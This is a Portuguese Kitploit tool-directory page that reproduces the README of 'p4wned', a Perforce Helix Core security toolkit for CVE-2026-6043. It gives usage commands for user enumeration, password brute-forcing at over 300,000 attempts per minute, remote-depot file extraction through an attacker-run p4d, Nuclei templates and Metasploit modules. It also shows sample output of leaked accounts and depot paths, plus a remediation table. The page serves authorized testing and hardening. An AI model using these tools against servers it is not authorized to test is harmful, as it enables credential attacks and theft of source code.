Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
p4wned — Pesquisa de segurança e ferramentas Perforce - CVE-2026-6043 | Kitploit
Ferramentas/GitHubGitHub/flyingllama87/p4wned
ReconhecimentoScanners de VulnerabilidadesScanners de Vulnerabilidades WebFrameworks de ExploraçãoAtaques de SenhaExploraçãoColeta de InformaçõesTestes de PenetraçãoConfiguração Incorreta
GitHubflyingllama87/p4wned

p4wned

Pesquisa de segurança e ferramentas Perforce - CVE-2026-6043

24há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver RepositórioSite
Compartilhar

P4WNED (CVE-2026-6043)

Ferramentas de pesquisa de segurança do Perforce (Helix Core) e templates Nuclei.

Artigo de pesquisa: https://morganrobertson.net/p4wned/

Por favor, leia o artigo acima para detalhes completos.

Apenas alvos autorizados. Use em seus próprios servidores ou com permissão explícita por escrito.

Público-alvo: administradores de servidores Perforce, testadores de penetração, engenheiros de segurança

Atualização de maio de 2026: O Perforce 2026.1 foi lançado. Esta versão vem com configurações seguras por padrão! Muito satisfeito em ver isso lançado para proteger a propriedade intelectual dos desenvolvedores. Leia mais aqui.

Nota: Estas ferramentas varrem as configurações incorretas resultantes de CVE-2026-6043.


Requisitos

ToolRequer
p4wned.pyPython 3, p4 CLI binary (veja abaixo)
p4ghost.pyPython 3, p4 CLI binary, local p4d instance (veja configuração abaixo)
p4-auth-hammerg++, Perforce C++ API, OpenSSL 1.1.1 (veja p4-auth-hammer/README.md)
Ferramentas JavaScriptNode.js (sem dependências externas)
Templates NucleiNuclei v3+
Módulos MetasploitMetasploit Framework

Adquirindo o binário p4 (necessário para p4wned.py e p4ghost.py):

root@kitploit:~
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4

Contexto

Os servidores Perforce expõem um protocolo TCP binário personalizado (porta padrão 1666). Muitas instalações vêm com configurações inseguras por padrão — listagem de usuários não autenticada, divulgação de informações do servidor, depots remotos acessíveis, sem requisitos de senha e sem limitação de taxa nas tentativas de login. Todas as ferramentas aqui exploram essas configurações padrão sem exigir credenciais.


Ferramentas

p4wned.py — Scanner de Segurança Completo

O scanner principal. Usa o binário da CLI p4 para enumerar usuários, testar credenciais, listar depots e produzir um relatório.

root@kitploit:~
python3 p4wned.py [-brute] [-audit] [-parallel N]

Opções:

BandeiraDescrição
-bruteAtiva modo de força bruta — testa senhas contra todas as contas de usuário descobertas
-auditModo de auditoria completa — continua testando todos os usuários mesmo após encontrar uma vulnerabilidade
-parallel NNúmero de tentativas paralelas de senha (padrão: 1)

Config (edite no topo do script):

O que faz:

  • Detecta modo de servidor ASCII vs unicode
  • Enumera usuários (se run.users.authorize=0)
  • Testa senhas em branco e credenciais conhecidas/comuns
  • Lista nomes de depots e amostra de caminhos de arquivos recentes
  • Verifica associação ao grupo super em contas comprometidas
  • Gera um relatório de texto estruturado

Saída do console:

root@kitploit:~
$ python3 p4wned.py

                   ___ _  _  __    __    __  __  ___ 
                  / _ \ || |/ / /\ \ \/\ \ \/__\/   \
                 / /_)/ || |\ \/  \/ /  \/ /_\ / /\ /
                / ___/|__   _\  /\  / /\  //__/ /_// 
                \/       |_|  \/  \/\_\ \/\__/___,'  

P4WNED - 0wning P4 servers via shit security defaults since Y2K+25

 · Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
 · Confirms depots access and those juicy "super" user accounts.
 · Drops a tidy report so you can fix the mess before the Skids arrive

Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================


=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===

[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.

[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build

[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...

[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666

[INFO] Report saved to perforce-report-p4wned-1775436520.txt

Arquivo de relatório (perforce-report-p4wned-*.txt):

root@kitploit:~
Perforce Security Scan Report

Server: 192.0.2.10:1666 (perforce.example-studio.com)
  Status: Insecure
  Note: Insecure via user 'svc_build' (no password)

  == Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'

  == Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01

        Merge branch feature/ai-pathfinding

Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02

        Updated character rig exports

  == Depot Details ==

  Depot: depot
    -- Root Directories --
    //depot/Source
    //depot/Content
    //depot/Config
    This depot is a non-Unreal Engine Depot.

------------------------------------------------------------

Summary Report

Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)

p4ghost.py — Scanner de Depot Remoto

Testa o acesso não autenticado a depots remotos através do usuário oculto remote. O exploit funciona executando uma instância p4d controlada pelo atacante localmente — o servidor alvo se conecta de volta a ela como parte do protocolo servidor a servidor, vazando sua listagem de arquivos do depot no processo.

Configuração (única):

root@kitploit:~
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4

# Start a plain ASCII p4d on port 1818 (used as the attacker's server)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d

# Start a unicode p4d on a separate port (1819) for unicode targets
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi   # convert to unicode mode
./p4d -r ./p4root_attacker_unicode -p 1819 -d
root@kitploit:~
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
                   [-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
root@kitploit:~
# Example invocation using the local attacker servers above
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819

Argumentos:

Versões afetadas: Todas as versões abaixo de 2025.1 com security < 4 (o padrão é 0).


p4-auth-hammer — Prova de Conceito de Força Bruta (C++)

Prova de conceito demonstrando que o p4d não limita efetivamente a taxa de tentativas de autenticação quando security < 3. Alcança >300.000 tentativas de login por minuto contra uma única conta usando a API C++ do Perforce.

root@kitploit:~
./p4_auth_hammer_poc <server:port> <username> <password_file> [-ticketauth]

Compilação (requer API C++ do Perforce e OpenSSL 1.1.1 — veja p4-auth-hammer/README.md para configuração completa):

root@kitploit:~
bash p4-auth-hammer/p4_auth_hammer_poc_build.sh

Modos:

  • Padrão: autenticação direta por senha (security < 3). A limitação de taxa é totalmente ignorada. >300.000 tentativas/min.
  • -ticketauth: login baseado em ticket (security >= 3). A limitação de taxa (dm.user.loginattempts) está ativa neste nível.

Detecta automaticamente servidores SSL e unicode. Ajusta automaticamente o número de threads para máxima taxa de transferência.

Remediação: p4 configure set security=3 (ou 4). Veja p4-auth-hammer/README.md para detalhes completos.


Ferramentas JavaScript

Scripts Node.js independentes. Sem dependências além da stdlib do Node.js. Todos os scripts detectam automaticamente SSL vs TCP simples e modo de servidor ASCII vs unicode — nenhuma flag necessária.

Formato do arquivo de alvos: host:porta um por linha, a porta padrão é 1666 se omitida. Linhas começando com # são ignoradas.

root@kitploit:~
p4testascii.example.net:1666
p4testunicode.example.net:1666
p4testunicode.example.net:1667

Autodetecção: TCP simples é tentado primeiro. Se o servidor responder com a mensagem de erro SSL do Perforce ("Failed client connect, server using SSL") a conexão é tentada novamente via TLS com rejectUnauthorized: false (aceita certificados autoassinados). O modo ASCII é tentado primeiro; se o servidor retornar a mensagem de erro unicode, a conexão é tentada novamente com o parâmetro unicode.

perforce-users.js — Enumeração de Usuários

Explora run.users.authorize=0 (padrão) para listar todas as contas de usuário sem autenticação.

root@kitploit:~
node javascript/perforce-users.js [targets_file]

Saída: [host:porta] [tcp|ssl] nome_de_usuário <email> "Nome Completo"


perforce-info.js — Divulgação de Informações do Servidor

Explora dm.info.hide=0 (padrão) para extrair versão do servidor, endereço interno, caminho raiz e string de licença.

root@kitploit:~
node javascript/perforce-info.js [targets_file]

Saída:

root@kitploit:~
[host:port] [tcp|ssl]
  Version    : P4D/LINUX26X86_64/2024.2/2877946
  Server Addr: internal-hostname:1666
  Server Root: /opt/perforce/p4root
  License    : Acme Corp

perforce-passwordless.js — Detecção de Contas sem Senha

Encontra contas de usuário sem senha definida. Usa o formato de saída marcada (parâmetro tag) para detectar a ausência do campo Password nos registros de usuário. Contas sem senha permitem login direto não autenticado.

root@kitploit:~
node javascript/perforce-passwordless.js [targets_file]

Saída: [host:porta] [tcp|ssl] [PASSWORDLESS] nome_de_usuário <email> "Nome Completo"


perforce-remote.js — Enumeração de Arquivos de Depot Remoto

Explora o usuário oculto remote através do RPC servidor a servidor rmt-DbPipe para ler a tabela db.rev diretamente, extraindo caminhos de arquivos do depot e números de change sem autenticação. Versões afetadas: abaixo de 2025.1 com security < 4.

root@kitploit:~
node javascript/perforce-remote.js [targets_file]

Saída:

root@kitploit:~
[host:port] [tcp|ssl] 42 file(s) in depot:
  [change=7] [2024-11-03] //depot/src/main.cpp
  [change=3] [2024-09-12] //depot/config/database.yml

perforce-keys.js — Enumeração de Chaves Globais

Extrai valores de chaves/contadores globais de servidores Perforce. As chaves podem conter números de compilação, strings de versão interna e configuração.

root@kitploit:~
node javascript/perforce-keys.js [targets_file]

Saída: [host:porta] [tcp|ssl] nome_da_chave = valor


Templates Nuclei

Templates para Nuclei. Todos os templates usam uma etapa de porta TCP para confirmar que um servidor Perforce está presente antes de executar o payload JavaScript. Os templates usam a mesma abordagem de autodetecção das ferramentas JavaScript.

root@kitploit:~
nuclei -t nuclei-templates/ -u target:1666
nuclei -t nuclei-templates/ -l targets.txt

Detecção

TemplateIDDescrição
perforce-detect.yamlperforce-detectionDetecta servidores Perforce via handshake de protocolo binário. Severidade: info.

Templates de Vulnerabilidade

Limitações: Sem suporte SSL, apenas porta 1666. Veja as ferramentas JavaScript para mais.


Módulos Metasploit

Três módulos auxiliares de scanner para o Metasploit Framework, além de um mixin de biblioteca compartilhada que lida com o protocolo binário do Perforce. Esses módulos cobrem as mesmas vulnerabilidades que as ferramentas independentes acima — enumeração de usuários, detecção de contas sem senha e exploração de depot remoto.

Todos os módulos detectam automaticamente o modo de servidor ASCII vs unicode. SSL é suportado.

MóduloDescrição
auxiliary/scanner/perforce/perforce_user_enum

Os arquivos fonte estão no diretório metasploit/. Uma PR foi submetida ao Metasploit Framework.


Referência rápida de remediação:

Baixar ferramenta
VariávelDescrição
INPUT_FILELista de alvos (ip:porta, um por linha) — padrão perforce-servers.txt
P4_CMDCaminho para o binário p4 — padrão ./p4
TOP_PASSWORDS_FILEWordlist para força bruta — padrão top-passwords.txt
KNOWN_CREDS_FILEPares de credenciais conhecidos para tentar primeiro
REPORT_FILECaminho do relatório de saída
BandeiraDescrição
input_fileLista de alvos (ip:porta, um por linha)
-skipnolicensePular servidores que retornam Server license: none
-report FILECaminho do relatório de saída
-p4cmd PATHCaminho para o binário p4 (padrão ./p4)
-unicodeport PORTPorta p4d unicode local a ser usada como servidor do atacante
-nonunicodeport PORTPorta p4d não-unicode local
-timeout SECSTempo limite do comando
TemplateIDSeveridadeCVSSDescrição
perforce-user-extraction.yamlperforce-user-enumerationMédio5.3Listagem de usuários não autenticada — servidores ASCII e unicode. Extrai nomes de usuário, emails, nomes completos.
perforce-info-disclosure.yamlperforce-info-disclosureMédio5.3Divulgação de informações do servidor — versão, endereço interno, caminho raiz, licença.
perforce-passwordless-users.yamlperforce-passwordless-usersCrítico9.1Encontra contas sem senha definida.
perforce-remote-depot-unauth.yamlperforce-remote-depot-access-unauthAlto7.5Acesso a depot remoto via usuário remote — servidores ASCII e unicode. Extrai caminhos de arquivos e números de change. Afetado: < 2025.1 com security < 4.
Listagem de usuários não autenticada — extrai nomes de usuário, emails, nomes completos e horários do último acesso.
auxiliary/scanner/perforce/perforce_passwordlessDetecta contas sem senha definida.
auxiliary/scanner/perforce/perforce_remote_depotEnumeração de arquivos de depot remoto via usuário oculto remote. Afetado: < 2025.1 com security < 4.
DescobertaCorreção
Enumeração de usuáriosp4 configure set run.users.authorize=1
Divulgação de informaçõesp4 configure set dm.info.hide=1
Usuários sem senhaDefina senhas para todas as contas; p4 configure set dm.user.noautocreate=2
Acesso a depot remotoAtualize para 2025.1+, ou p4 configure set security=4
Limitação de taxa de autenticaçãop4 configure set security=3 (habilita bloqueio efetivo via dm.user.loginattempts)
Tudo acimap4 configure set security=4 mais as configurações individuais acima — security=4 corrige o exploit remoto, mas não oculta listagens de usuários ou informações do servidor.